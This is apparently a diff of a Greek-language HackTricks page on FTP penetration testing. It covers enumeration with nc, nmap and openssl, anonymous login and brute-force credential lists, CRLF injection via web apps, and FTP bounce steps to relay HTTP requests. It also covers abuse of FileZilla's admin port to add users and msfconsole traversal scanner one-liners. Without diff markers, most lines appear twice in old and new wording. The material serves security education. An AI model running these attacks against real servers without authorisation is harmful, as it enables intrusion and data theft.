* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Εγγραφείτε στην** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο** [**αποθετήριο hacktricks**](https://github.com/carlospolop/hacktricks) **και** [**αποθετήριο hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Try Hard Security Group**
<figure><img src="https://github.com/carlospolop/hacktricks/blob/gr/network-services-pentesting/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Βασικές Πληροφορίες
## Basic Information
Το **Πρωτόκολλο Μεταφοράς Αρχείων (FTP)** λειτουργεί ως πρότυπο πρωτόκολλο για τη μεταφορά αρχείων σε έναν υπολογιστικό δίκτυο μεταξύ ενός διακομιστή και ενός πελάτη.\
Είναι ένα πρωτόκολλο **κειμένου** που χρησιμοποιεί ως **χαρακτήρα νέας γραμμής `0x0d 0x0a`** και γι' αυτό μερικές φορές χρειάζεται να **συνδεθείτε χρησιμοποιώντας το `telnet`** ή το **`nc -C`**.
**Προεπιλεγμένη Θύρα:** 21
Το **File Transfer Protocol (FTP)** χρησιμεύει ως πρότυπο πρωτόκολλο για τη μεταφορά αρχείων μέσω ενός υπολογιστικού δικτύου μεταξύ ενός διακομιστή και ενός πελάτη.\
Είναι ένα **πρωτόκολλο απλού κειμένου** που χρησιμοποιεί ως **χαρακτήρα νέας γραμμής `0x0d 0x0a`** οπότε μερικές φορές χρειάζεται να **συνδεθείτε χρησιμοποιώντας `telnet`** ή **`nc -C`**.
**Default Port:** 21
```
PORT STATE SERVICE
21/tcp open ftp
```
### Συνδέσεις Ενεργές & Παθητικές
### Ενεργές & Παθητικές Συνδέσεις
Στο **Active FTP**, ο FTP **πελάτης** πρώτα **ξεκινά** τη σύνδεση ελέγχου από την θύρα N του στην θύρα εντολών του FTP Server θύρα 21. Ο **πελάτης** στη συνέχεια **ακούει** στη θύρα **N+1** και στέλνει τη θύρα N+1 στον FTP Server. Ο FTP **Server** τότε **ξεκινά** τη σύνδεση δεδομένων, από **τη θύρα του M στη θύρα N+1** του FTP Client.
Στο **Ενεργό FTP**, ο FTP **πελάτης** πρώτα **εκκινεί** τη σύνδεση ελέγχου από τη θύρα N του προς τη θύρα εντολών του FTP Διακομιστή - θύρα 21. Ο **πελάτης** στη συνέχεια **ακούει** στη θύρα **N+1** και στέλνει τη θύρα N+1 στον FTP Διακομιστή. Ο FTP **Διακομιστής** στη συνέχεια **εκκινεί** τη σύνδεση δεδομένων, από **τη θύρα M του προς τη θύρα N+1** του FTP Πελάτη.
Αλλά, αν ο FTP Client έχει ρυθμισμένο ένα τείχος προστασίας που ελέγχει τις εισερχόμενες συνδέσεις δεδομένων από το εξωτερικό, τότε το active FTP μπορεί να είναι πρόβλημα. Και, μια εφικτή λύση γι' αυτό είναι το Passive FTP.
Ωστόσο, αν ο FTP Πελάτης έχει μια ρύθμιση του τοίχου πυρασφάλειας που ελέγχει τις εισερχόμενες συνδέσεις δεδομένων από έξω, τότε το ενεργό FTP μπορεί να αποτελέσει πρόβλημα. Και, μια εφικτή λύση γι' αυτό είναι το Παθητικό FTP.
Στο **Passive FTP**, ο πελάτης ξεκινά τη σύνδεση ελέγχου από τη θύρα N του στη θύρα 21 του FTP Server. Μετά από αυτό, ο πελάτης εκδίδει μια **εντολή passv**. Ο server τότε στέλνει στον πελάτη έναν από τους αριθμούς θύρας του M. Και ο **πελάτης** **ξεκινά** τη σύνδεση δεδομένων από **τη θύρα P του στη θύρα M** του FTP Server.
Στο **Παθητικό FTP**, ο πελάτης εκκινεί τη σύνδεση ελέγχου από τη θύρα N προς τη θύρα 21 του FTP Διακομιστή. Μετά από αυτό, ο πελάτης εκδίδει μια **εντολή passv**. Ο διακομιστής στέλνει στον πελάτη έναν από τους αριθμούς θύρας του, Μ. Και ο **πελάτης** **εκκινεί** τη σύνδεση δεδομένων από **τη θύρα P του προς τη θύρα M** του FTP Διακομιστή.
Source: [https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/](https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/)
Πηγή: [https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/](https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/)
### Αποσφαλμάτωση σύνδεσης
### Αποσφαλμάτωση Σύνδεσης
Οι εντολές **FTP** **`debug`** και **`trace`** μπορούν να χρησιμοποιηθούν για να δουν **πώς συμβαίνει η επικοινωνία**.
Οι **FTP** εντολές **`debug`** και **`trace`** μπορούν να χρησιμοποιηθούν για να δούμε **πώς εμφανίζεται η επικοινωνία**.
## Απαρίθμηση
### Ανάκτηση Μπάνερ
## Αριθμητική
### Λήψη Banner
```bash
nc -vn <IP> 21
openssl s_client -connect crossfit.htb:21 -starttls ftp #Get certificate if any
```
### Σύνδεση στο FTP χρησιμοποιώντας το starttls
### Συνδεθείτε στο FTP χρησιμοποιώντας starttls
```
lftp
lftp :~> set ftp:ssl-force true
@ -66,17 +64,13 @@ lftp 10.10.10.208:~> login
Usage: login <user|URL> [<pass>]
lftp 10.10.10.208:~> login username Password
```
### Unauth enum
### Ανεξουθενετική απαρίθμηση
Με το **nmap**
Με **nmap**
```bash
sudo nmap -sV -p21 -sC -A 10.10.10.10
```
Μπορείτε να χρησιμοποιήσετε τις εντολές `HELP` και `FEAT` για να λάβετε πληροφορίες για τον διακομιστή FTP:
Μπορείτε να χρησιμοποιήσετε τις εντολές `HELP` και `FEAT` για να αποκτήσετε κάποιες πληροφορίες από τον FTP server:
```
HELP
214-The following commands are recognized (* =>'s unimplemented):
@ -112,13 +106,11 @@ SIZE
STAT
#Info about the FTP server (version, configs, status...)
```
### Ανώνυμη σύνδεση
_anonymous : anonymous_\
_anonymous :_\
_ftp : ftp_
```bash
ftp <IP>
>anonymous
@ -128,115 +120,104 @@ ftp <IP>
>ascii #Set transmission to ascii instead of binary
>bye #exit
```
### [Brute force](../../generic-methodologies-and-resources/brute-force.md#ftp)
### [Χυδαία επίθεση](../../generic-methodologies-and-resources/brute-force.md#ftp)
Εδώ μπορείτε να βρείτε μια ωραία λίστα με προεπιλεγμένα ftp credentials: [https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt)
Εδώ μπορείτε να βρείτε μια ωραία λίστα με προεπιλεγμένα διαπιστευτήρια ftp: [https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt)
### Αυτοματοποιημένο
Οι έλεγχοι ανώνυμης σύνδεσης και αναπήδησης FTP εκτελούνται προεπιλεγμένα από το nmap με την επιλογή **-sC** ή:
### Automated
Η ανώνυμη σύνδεση και οι έλεγχοι bounce FTP εκτελούνται από προεπιλογή από το nmap με την επιλογή **-sC** ή:
```bash
nmap --script ftp-* -p 21 <ip>
```
## Browser connection
## Σύνδεση μέσω περιηγητή
Μπορείτε να συνδεθείτε σε έναν διακομιστή FTP χρησιμοποιώντας έναν περιηγητή (όπως ο Firefox) χρησιμοποιώντας ένα URL όπως:
Μπορείτε να συνδεθείτε σε έναν FTP server χρησιμοποιώντας έναν περιηγητή (όπως ο Firefox) χρησιμοποιώντας μια διεύθυνση URL όπως:
```bash
ftp://anonymous:anonymous@10.10.10.98
```
Σημειώστε ότι αν μια **web application** στέλνει δεδομένα που ελέγχονται από έναν χρήστη **άμεσα σε έναν FTP server** μπορείτε να στείλετε διπλό URL encode `%0d%0a` (σε διπλό URL encode αυτό είναι `%250d%250a`) bytes και να κάνετε τον **FTP server να εκτελεί αυθαίρετες ενέργειες**. Μία από αυτές τις πιθανές αυθαίρετες ενέργειες είναι να κατεβάσετε περιεχόμενο από έναν server που ελέγχεται από χρήστη, να εκτελέσετε σάρωση θυρών ή να προσπαθήσετε να επικοινωνήσετε με άλλες υπηρεσίες που βασίζονται σε απλό κείμενο (όπως το http).
Σημειώστε ότι εάν μια **εφαρμογή web** στέλνει δεδομένα που ελέγχει ο χρήστης **απευθείας σε έναν διακομιστή FTP**, μπορείτε να στείλετε διπλό κωδικοποιημένο URL `%0d%0a` (σε διπλή κωδικοποίηση URL αυτό είναι `%250d%250a`) bytes και να κάνετε τον **FTP server να εκτελέσει αυθαίρετες ενέργειες**. Μία από αυτές τις πιθανές αυθαίρετες ενέργειες είναι η λήψη περιεχομένου από έναν διακομιστή που ελέγχει ο χρήστης, η πραγματοποίηση σάρωσης θυρών ή η προσπάθεια επικοινωνίας με άλλες υπηρεσίες βασισμένες σε απλό κείμενο (όπως το http).
## Λήψη όλων των αρχείων από το FTP
## Κατεβάστε όλα τα αρχεία από τον FTP
```bash
wget -m ftp://anonymous:anonymous@10.10.10.98 #Donwload all
wget -m --no-passive ftp://anonymous:anonymous@10.10.10.98 #Download all
```
Αν ο χρήστης/κωδικός πρόσβασής σας περιέχει ειδικούς χαρακτήρες, μπορεί να χρησιμοποιηθεί η [ακόλουθη εντολή](https://stackoverflow.com/a/113900/13647948):
Αν το όνομα χρήστη/κωδικός σας έχει ειδικούς χαρακτήρες, η [παρακάτω εντολή](https://stackoverflow.com/a/113900/13647948) μπορεί να χρησιμοποιηθεί:
```bash
wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
```
## Μερικές εντολές FTP
## Ορισμένες εντολές FTP
* **`USER username`**
* **`PASS password`**
* **`HELP`** Ο διακομιστής υποδεικνύει ποιες εντολές υποστηρίζονται
* \*\*`PORT 127,0,0,1,0,80`\*\*Αυτό θα υποδείξει στο διακομιστή FTP να καθιερώσει μια σύνδεση με τη διεύθυνση IP 127.0.0.1 στη θύρα 80 (_πρέπει να βάλετε τον 5ο χαρακτήρα ως "0" και τον 6ο ως τη θύρα σε δεκαδική μορφή ή να χρησιμοποιήσετε τον 5ο και 6ο για να εκφράσετε τη θύρα σε δεκαεξαδική μορφή_).
* \*\*`EPRT |2|127.0.0.1|80|`\*\*Αυτό θα υποδείξει στο διακομιστή FTP να καθιερώσει μια σύνδεση TCP (_υποδεικνύεται από το "2"_) με τη διεύθυνση IP 127.0.0.1 στη θύρα 80. Αυτή η εντολή **υποστηρίζει IPv6**.
* \*\*`PORT 127,0,0,1,0,80`\*\*Αυτό θα υποδείξει στον διακομιστή FTP να δημιουργήσει μια σύνδεση με τη διεύθυνση IP 127.0.0.1 στην θύρα 80 (_πρέπει να βάλετε τον 5ο χαρακτήρα ως "0" και τον 6ο ως την θύρα σε δεκαδικό ή να χρησιμοποιήσετε τον 5ο και 6ο για να εκφράσετε την θύρα σε δεκαεξαδικό_).
* \*\*`EPRT |2|127.0.0.1|80|`\*\*Αυτό θα υποδείξει στον διακομιστή FTP να δημιουργήσει μια σύνδεση TCP (_υποδεικνύεται από το "2"_) με τη διεύθυνση IP 127.0.0.1 στην θύρα 80. Αυτή η εντολή **υποστηρίζει IPv6**.
* **`LIST`** Αυτό θα στείλει τη λίστα των αρχείων στον τρέχοντα φάκελο
* **`LIST -R`** Λίστα αναδρομικά (εάν επιτρέπεται από τον διακομιστή)
* **`APPE /path/something.txt`** Αυτό θα υποδείξει στο FTP να αποθηκεύσει τα δεδομένα που λαμβάνει από μια **παθητική** σύνδεση ή από μια σύνδεση **PORT/EPRT** σε ένα αρχείο. Εάν το όνομα αρχείου υπάρχει, θα προσθέσει τα δεδομένα.
* **`LIST -R`** Λίστα αναδρομικά (αν επιτρέπεται από τον διακομιστή)
* **`APPE /path/something.txt`** Αυτό θα υποδείξει στον FTP να αποθηκεύσει τα δεδομένα που λαμβάνονται από μια **παθητική** σύνδεση ή από μια **PORT/EPRT** σύνδεση σε ένα αρχείο. Αν το όνομα αρχείου υπάρχει, θα προσθέσει τα δεδομένα.
* **`STOR /path/something.txt`** Όπως το `APPE` αλλά θα αντικαταστήσει τα αρχεία
* **`STOU /path/something.txt`** Όπως το `APPE`, αλλά αν υπάρχει δεν θα κάνει τίποτα.
* **`RETR /path/to/file`** Πρέπει να καθιερωθεί μια παθητική ή μια σύνδεση port. Στη συνέχεια, ο διακομιστής FTP θα στείλει το αναφερόμενο αρχείο μέσω αυτής της σύνδεσης
* **`REST 6`** Αυτό θα υποδείξει στο διακομιστή ότι την επόμενη φορά που θα στείλει κάτι χρησιμοποιώντας το `RETR` θα πρέπει να ξεκινήσει από τον 6ο χαρακτήρα.
* **`TYPE i`** Ορίζει τη μεταφορά σε δυαδική μορφή
* **`RETR /path/to/file`** Πρέπει να έχει δημιουργηθεί μια παθητική ή μια σύνδεση port. Στη συνέχεια, ο διακομιστής FTP θα στείλει το υποδεικνυόμενο αρχείο μέσω αυτής της σύνδεσης
* **`REST 6`** Αυτό θα υποδείξει στον διακομιστή ότι την επόμενη φορά που θα στείλει κάτι χρησιμοποιώντας το `RETR` θα πρέπει να ξεκινήσει από το 6ο byte.
* **`TYPE i`** Ρύθμιση μεταφοράς σε δυαδικό
* **`PASV`** Αυτό θα ανοίξει μια παθητική σύνδεση και θα υποδείξει στον χρήστη πού μπορεί να συνδεθεί
* **`PUT /tmp/file.txt`** Ανεβάζει το αναφερόμενο αρχείο στο FTP
* **`PUT /tmp/file.txt`** Μεταφόρτωση του υποδεικνυόμενου αρχείου στον FTP
![](<../../.gitbook/assets/image (227).png>)
![](<../../.gitbook/assets/image (386).png>)
## Επίθεση FTPBounce
Ορισμένοι διακομιστές FTP επιτρέπουν την εντολή PORT. Αυτή η εντολή μπορεί να χρησιμοποιηθεί για να υποδείξετε στο διακομιστή ότι θέλετε να συνδεθείτε σε άλλο διακομιστή FTP σε κάποια θύρα. Έπειτα, μπορείτε να χρησιμοποιήσετε αυτό για να σαρώσετε ποιες θύρες ενός υπολογιστή είναι ανοιχτές μέσω ενός διακομιστή FTP.
Ορισμένοι διακομιστές FTP επιτρέπουν την εντολή PORT. Αυτή η εντολή μπορεί να χρησιμοποιηθεί για να υποδείξει στον διακομιστή ότι θέλετε να συνδεθείτε σε άλλον διακομιστή FTP σε κάποια θύρα. Στη συνέχεια, μπορείτε να το χρησιμοποιήσετε για να σαρώσετε ποιες θύρες ενός host είναι ανοιχτές μέσω ενός διακομιστή FTP.
[**Μάθετε εδώ πώς να καταχραστείτε έναν διακομιστή FTP για να σαρώσετε θύρες.**](ftp-bounce-attack.md)
Μπορείτε επίσης να καταχραστείτε αυτήν τη συμπεριφορά για να κάνετε έναν διακομιστή FTP να αλληλεπιδρά με άλλα πρωτόκολλα. Μπορείτε **να ανεβάσετε ένα αρχείο που περιέχει μια αίτηση HTTP** και να κάνετε το ευάλωτο διακομιστή FTP **να τη στείλει σε έναν αυθαίρετο διακομιστή HTTP** (_ίσως για να προσθέσετε ένα νέο διαχειριστή χρηστών?_) ή ακόμα και να ανεβάσετε μια αίτηση FTP και να κάνετε τον ευάλωτο διακομιστή FTP να κατεβάσει ένα αρχείο για έναν διαφορετικό διακομιστή FTP.\
Η θεωρία είναι εύκολη:
Μπορείτε επίσης να καταχραστείτε αυτή τη συμπεριφορά για να κάνετε έναν διακομιστή FTP να αλληλεπιδρά με άλλα πρωτόκολλα. Μπορείτε να **μεταφορτώσετε ένα αρχείο που περιέχει ένα HTTP αίτημα** και να κάνετε τον ευάλωτο διακομιστή FTP **να το στείλει σε έναν αυθαίρετο HTTP διακομιστή** (_ίσως για να προσθέσετε έναν νέο διαχειριστή χρήστη;_) ή ακόμη και να ανεβάσετε ένα αίτημα FTP και να κάνετε τον ευάλωτο διακομιστή FTP να κατεβάσει ένα αρχείο από έναν διαφορετικό διακομιστή FTP.\
Η θεωρία είναι απλή:
1. **Ανεβάστε την αίτηση (μέσα σε ένα αρχείο κειμένου) στον ευάλωτο διακομιστή.** Θυμηθείτε ότι εάν θέλετε να μιλήσετε με έναν άλλο διακομιστή HTTP ή FTP πρέπει να αλλάξετε γραμμές με `0x0d 0x0a`
2. **Χρησιμοποιήστε το `REST X` για να αποφύγετε την αποστολή των χαρακτήρων που δεν θέλετε να στείλετε** (ίσως για να ανεβάσετε την αίτηση μέσα στο αρχείο χρειάστηκε να βάλετε κάποια κεφαλίδα εικόνας στην αρχή)
3. **Χρησιμοποιήστε το `PORT` για να συνδεθείτε στον αυθαίρετο διακομιστή και υπηρεσία**
4. **Χρησιμοποιήστε το `RETR` για να στείλετε την αποθηκευμένη αίτηση στον διακομιστή.**
1. **Μεταφορτώστε το αίτημα (μέσα σε ένα αρχείο κειμένου) στον ευάλωτο διακομιστή.** Θυμηθείτε ότι αν θέλετε να μιλήσετε με άλλον HTTP ή FTP διακομιστή πρέπει να αλλάξετε γραμμές με `0x0d 0x0a`
2. **Χρησιμοποιήστε `REST X` για να αποφύγετε την αποστολή των χαρακτήρων που δεν θέλετε να στείλετε** (ίσως για να ανεβάσετε το αίτημα μέσα στο αρχείο έπρεπε να βάλετε κάποια κεφαλίδα εικόνας στην αρχή)
3. **Χρησιμοποιήστε `PORT` για να συνδεθείτε στον αυθαίρετο διακομιστή και υπηρεσία**
4. **Χρησιμοποιήστε `RETR` για να στείλετε το αποθηκευμένο αίτημα στον διακομιστή.**
Είναι πολύ πιθανό αυτό **να εμφανίσει ένα σφάλμα όπως** _**Μη εγγράψιμο socket**_ **επειδή η σύνδεση δεν διαρκεί αρκετά για να στείλει τα δεδομένα με το `RETR`**. Προτάσεις για να προσπαθήσετε να αποφύγετε αυτό είναι:
Είναι πολύ πιθανό ότι αυτό **θα προκαλέσει ένα σφάλμα όπως** _**Socket not writable**_ **επειδή η σύνδεση δεν διαρκεί αρκετά για να στείλει τα δεδομένα με `RETR`**. Προτάσεις για να προσπαθήσετε να το αποφύγετε είναι:
* Εάν στέλνετε μια αίτηση HTTP, **βάλτε την ίδια αίτηση μία μετά την άλλη** μέχρι τα **\~0.5MB** τουλάχιστον. Όπως εδώ:
* Αν στέλνετε ένα HTTP αίτημα, **βάλτε το ίδιο αίτημα το ένα μετά το άλλο** μέχρι **\~0.5MB** τουλάχιστον. Έτσι:
{% file src="../../.gitbook/assets/posts (1).txt" %}
{% file src="../../.gitbook/assets/posts.txt" %}
posts.txt
{% endfile %}
* Δοκιμάστε να **γεμίσετε την αίτηση με "άχρηστα" δεδομένα σχετικά με το πρωτόκολλο** (μιλώντας με FTP ίσως απλώς άχρηστες εντολές ή επανάληψη της εντολής `RETR` για να πάρετε το αρχείο)
* Απλά **γεμίστε την αίτηση με πολλούς μηδενικούς χαρακτήρες ή άλλους** (διαιρούμενους σε γραμμές ή όχι)
* Προσπαθήστε να **γεμίσετε το αίτημα με "σκουπίδια" δεδομένα σχετικά με το πρωτόκολλο** (μιλώντας για FTP ίσως απλά σκουπίδια εντολές ή επαναλαμβάνοντας την εντολή `RETR` για να αποκτήσετε το αρχείο)
* Απλά **γεμίστε το αίτημα με πολλούς μηδενικούς χαρακτήρες ή άλλους** (διαχωρισμένους σε γραμμές ή όχι)
Πάντως, εδώ έχετε ένα [παλιό παράδειγμα για το πώς να καταχραστείτε αυτό για να κάνετε έναν διακομιστή FTP να κατεβάσει ένα αρχείο από έναν διαφορετικό διακομιστή FTP.](ftp-bounce-download-2oftp-file.md)
Ούτως ή άλλως, εδώ έχετε ένα [παλιό παράδειγμα για το πώς να καταχραστείτε αυτό για να κάνετε έναν διακομιστή FTP να κατεβάσει ένα αρχείο από έναν διαφορετικό διακομιστή FTP.](ftp-bounce-download-2oftp-file.md)
## Ευπάθεια του Filezilla Server
## Ευπάθεια Διακομιστή Filezilla
Το **FileZilla** συνήθως **δένεται** σε ένα **τοπικό** διαχειριστικό υπηρεσίας για το **FileZilla-Server** (θύρα 14147). Εάν μπορείτε να δημιουργήσετε ένα **τούνελ** από **τον υπολογιστή σας** για να έχετε πρόσβαση σε αυτήν τη θύρα, μπορείτε να **συνδεθείτε** σε αυτήν χρησιμοποιώντας ένα **κενό κωδικό πρόσβασης** και να **δημιουργήσετε** έναν **νέο χρήστη** για την υπηρεσία FTP.
**FileZilla** συνήθως **δεσμεύει** σε **τοπικό** μια **Διοικητική υπηρεσία** για τον **FileZilla-Server** (θύρα 14147). Αν μπορείτε να δημιουργήσετε ένα **τούνελ** από **τη μηχανή σας** για να αποκτήσετε πρόσβαση σε αυτή τη θύρα, μπορείτε να **συνδεθείτε** σε **αυτήν** χρησιμοποιώντας έναν **κενό κωδικό πρόσβασης** και να **δημιουργήσετε** έναν **νέο χρήστη** για την υπηρεσία FTP.
## Αρχεία ρυθμίσεων
```
ftpusers
ftp.conf
proftpd.conf
vsftpd.conf
```
### Post-Exploitation
Η προεπιλεγμένη διαμόρφωση του vsFTPd μπορεί να βρεθεί στο `/etc/vsftpd.conf`. Εδώ, μπορείτε να βρείτε μερικές επικίνδυνες ρυθμίσεις:
Η προεπιλεγμένη ρύθμιση του vsFTPd μπορεί να βρεθεί στο `/etc/vsftpd.conf`. Εδώ, μπορείτε να βρείτε μερικές επικίνδυνες ρυθμίσεις:
* `anonymous_enable=YES`
* `anon_upload_enable=YES`
* `anon_mkdir_write_enable=YES`
* `anon_root=/home/username/ftp` - Κατάλογος για ανώνυμους.
* `chown_uploads=YES` - Αλλαγή κυριότητας αρχείων που ανεβάζονται ανώνυμα
* `chown_username=username` - Χρήστης που δίνεται κυριότητα ανεβασμένων αρχείων ανώνυμα
* `chown_uploads=YES` - Αλλαγή ιδιοκτησίας των ανώνυμα ανεβασμένων αρχείων
* `chown_username=username` - Χρήστης που αποκτά την ιδιοκτησία των ανώνυμα ανεβασμένων αρχείων
* `local_enable=YES` - Ενεργοποίηση τοπικών χρηστών για σύνδεση
* `no_anon_password=YES` - Να μην ζητηθεί κωδικός από ανώνυμο
* `write_enable=YES` - Επιτρέπει τις εντολές: STOR, DELE, RNFR, RNTO, MKD, RMD, APPE, και SITE
* `no_anon_password=YES` - Μην ζητάτε από τον ανώνυμο κωδικό πρόσβασης
* `write_enable=YES` - Επιτρέψτε τις εντολές: STOR, DELE, RNFR, RNTO, MKD, RMD, APPE, και SITE
### Shodan
@ -247,14 +228,13 @@ vsftpd.conf
**Try Hard Security Group**
<figure><img src="https://github.com/carlospolop/hacktricks/blob/gr/network-services-pentesting/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## HackTricks Automatic Commands
```
Protocol_Name: FTP #Protocol Abbreviation if there is one.
Port_Number: 21 #Comma separated if there is more than one.
@ -306,15 +286,17 @@ Description: FTP enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/ftp/anonymous; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/ftp_version; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/bison_ftp_traversal; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/colorado_ftp_traversal; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/titanftp_xcrc_traversal; set RHOSTS {IP}; set RPORT 21; run; exit'
```
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε τη **εταιρεία σας διαφημισμένη στο HackTricks**; ή θέλετε να έχετε πρόσβαση στη **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Εγγραφείτε στη** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο** [**αποθετήριο hacktricks**](https://github.com/carlospolop/hacktricks) **και** [**αποθετήριο hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,52 +1,55 @@
# 110,995 - Ελεγχος Εισβολής στο POP
# 110,995 - Pentesting POP
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks AWS)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Εγγραφείτε στην** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο** [**αποθετήριο hacktricks**](https://github.com/carlospolop/hacktricks) **και** [**αποθετήριο hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
